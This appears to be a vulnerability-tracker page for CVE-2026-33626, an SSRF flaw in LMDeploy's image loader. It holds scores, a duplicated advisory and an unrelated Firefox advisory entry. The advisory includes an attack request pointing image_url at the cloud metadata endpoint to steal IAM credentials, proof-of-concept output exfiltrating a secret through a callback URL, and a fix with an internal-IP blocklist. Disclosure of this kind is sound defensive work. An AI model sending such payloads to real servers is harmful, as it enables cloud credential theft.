CVE-2026-33626

highpriority · track · 26EPSS 0.453 · 99 %ileexploit · PoCDEEUUS
grimoire priorityP1 · Urgent
Exploitable?
Public exploit
1 exploit · PoC
Likely / severe?
45.3% (99th) EPSS
CVSS 7.5 · high
Is it mine?
17 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · osv · cert_bund

EPSS · scored 2026-10-27

LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · OSV
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:Hsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

exploits (1)

Public proof-of-concept and weaponised exploit code.

05

affected products (17)

Products and version ranges known to be affected.

06

advisories (3)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-1228Mozilla Thunderbird, Firefox ESR und Firefox: Mehrere SchwachstellenDeutsch2026-04-21csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Mozilla Thunderbird, Mozilla Firefox ESR und Mozilla Firefox ausnutzen, um seine Privilegien zu erhöhen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um falsche Informationen darzustellen, und um Sicherheitsvorkehrungen zu umgehen.

  • GHSA-6w67-hwm5-92mqLMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading2026-04-21ghsa · osvUS

    ## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. ## Affected Versions - **Tested on:** main branch (2026-02-04) - **Affected:** All versions prior to 0.12.3 ## Vulnerable Code **File:** `lmdeploy/vl/utils.py` (lines 64-67) ```python def load_image(image_url: Union[str, Image.Image]) -> Image.Image: # ... if image_url.startswith('http'): response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT) # NO VALIDATION OF URL/IP BEFORE REQUEST ``` **Also affected:** `encode_image_base64()` function (lines 26-29) ## Root Cause 1. No validation of URLs before fetching 2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x) 3. Server binds to `0.0.0.0` by default (api_server.py line 1393) 4. API keys disabled by default ## Attack Scenario 1. LMDeploy server deployed with vision-language model 2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`: ```python POST /v1/chat/completions { "model": "internlm-xcomposer2", "messages": [{ "role": "user", "content": [ {"type": "text", "text": "Describe this image"}, {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}} ] }] } ``` 3. Server fetches URL without validation 4. Attacker receives cloud credentials ## Proof of Concept ### Verified Exploitation Result ``` ╔═══════════════════════════════════════════════════════════════════════╗ ║ LMDeploy SSRF Vulnerability - Proof of Concept ║ ╚═══════════════════════════════════════════════════════════════════════╝ [1] Starting callback server on port 8889... [2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY [3] Calling vulnerable load_image() function... ====================================================================== [+] SSRF CALLBACK RECEIVED! ====================================================================== Time: 2026-02-04 16:10:57 Path: /SSRF_PROOF?stolen_data=AWS_SECRET_KEY Client: 127.0.0.1:51154 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)... ====================================================================== ✅ SSRF VULNERABILITY CONFIRMED! ``` ## Impact - **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs - **Internal Service Access:** Reach services not exposed to internet - **Information Disclosure:** Port scan internal networks - **Lateral Movement:** Pivot point for further attacks ## Recommended Fix ```python from urllib.parse import urlparse import ipaddress import socket BLOCKED_NETWORKS = [ ipaddress.ip_network('127.0.0.0/8'), ipaddress.ip_network('10.0.0.0/8'), ipaddress.ip_network('172.16.0.0/12'), ipaddress.ip_network('192.168.0.0/16'), ipaddress.ip_network('169.254.0.0/16'), ] def is_safe_url(url: str) -> bool: try: parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False ip = socket.gethostbyname(parsed.hostname) ip_addr = ipaddress.ip_address(ip) return not any(ip_addr in network for network in BLOCKED_NETWORKS) except: return False ``` --- ## Credit This vulnerability was discovered as part of Orca Security's research. **Researcher:** Igor Stepansky **Organization:** Orca Security **Emails:** igor.stepansky@orca.security iggy.p0pi@orca.security

  • PYSEC-2026-2607LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading2026-07-13vendor · osvUS

    ## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. ## Affected Versions - **Tested on:** main branch (2026-02-04) - **Affected:** All versions prior to 0.12.3 ## Vulnerable Code **File:** `lmdeploy/vl/utils.py` (lines 64-67) ```python def load_image(image_url: Union[str, Image.Image]) -> Image.Image: # ... if image_url.startswith('http'): response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT) # NO VALIDATION OF URL/IP BEFORE REQUEST ``` **Also affected:** `encode_image_base64()` function (lines 26-29) ## Root Cause 1. No validation of URLs before fetching 2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x) 3. Server binds to `0.0.0.0` by default (api_server.py line 1393) 4. API keys disabled by default ## Attack Scenario 1. LMDeploy server deployed with vision-language model 2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`: ```python POST /v1/chat/completions { "model": "internlm-xcomposer2", "messages": [{ "role": "user", "content": [ {"type": "text", "text": "Describe this image"}, {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}} ] }] } ``` 3. Server fetches URL without validation 4. Attacker receives cloud credentials ## Proof of Concept ### Verified Exploitation Result ``` ╔═══════════════════════════════════════════════════════════════════════╗ ║ LMDeploy SSRF Vulnerability - Proof of Concept ║ ╚═══════════════════════════════════════════════════════════════════════╝ [1] Starting callback server on port 8889... [2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY [3] Calling vulnerable load_image() function... ====================================================================== [+] SSRF CALLBACK RECEIVED! ====================================================================== Time: 2026-02-04 16:10:57 Path: /SSRF_PROOF?stolen_data=AWS_SECRET_KEY Client: 127.0.0.1:51154 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)... ====================================================================== ✅ SSRF VULNERABILITY CONFIRMED! ``` ## Impact - **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs - **Internal Service Access:** Reach services not exposed to internet - **Information Disclosure:** Port scan internal networks - **Lateral Movement:** Pivot point for further attacks ## Recommended Fix ```python from urllib.parse import urlparse import ipaddress import socket BLOCKED_NETWORKS = [ ipaddress.ip_network('127.0.0.0/8'), ipaddress.ip_network('10.0.0.0/8'), ipaddress.ip_network('172.16.0.0/12'), ipaddress.ip_network('192.168.0.0/16'), ipaddress.ip_network('169.254.0.0/16'), ] def is_safe_url(url: str) -> bool: try: parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False ip = socket.gethostbyname(parsed.hostname) ip_addr = ipaddress.ip_address(ip) return not any(ip_addr in network for network in BLOCKED_NETWORKS) except: return False ``` --- ## Credit This vulnerability was discovered as part of Orca Security's research. **Researcher:** Igor Stepansky **Organization:** Orca Security **Emails:** igor.stepansky@orca.security iggy.p0pi@orca.security

07

also known as (6)

Other names and identifiers for this entity.

08

sources

Which sources assert this record, and when.

published 2026-04-20modified 2026-10-26
09

references (11)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan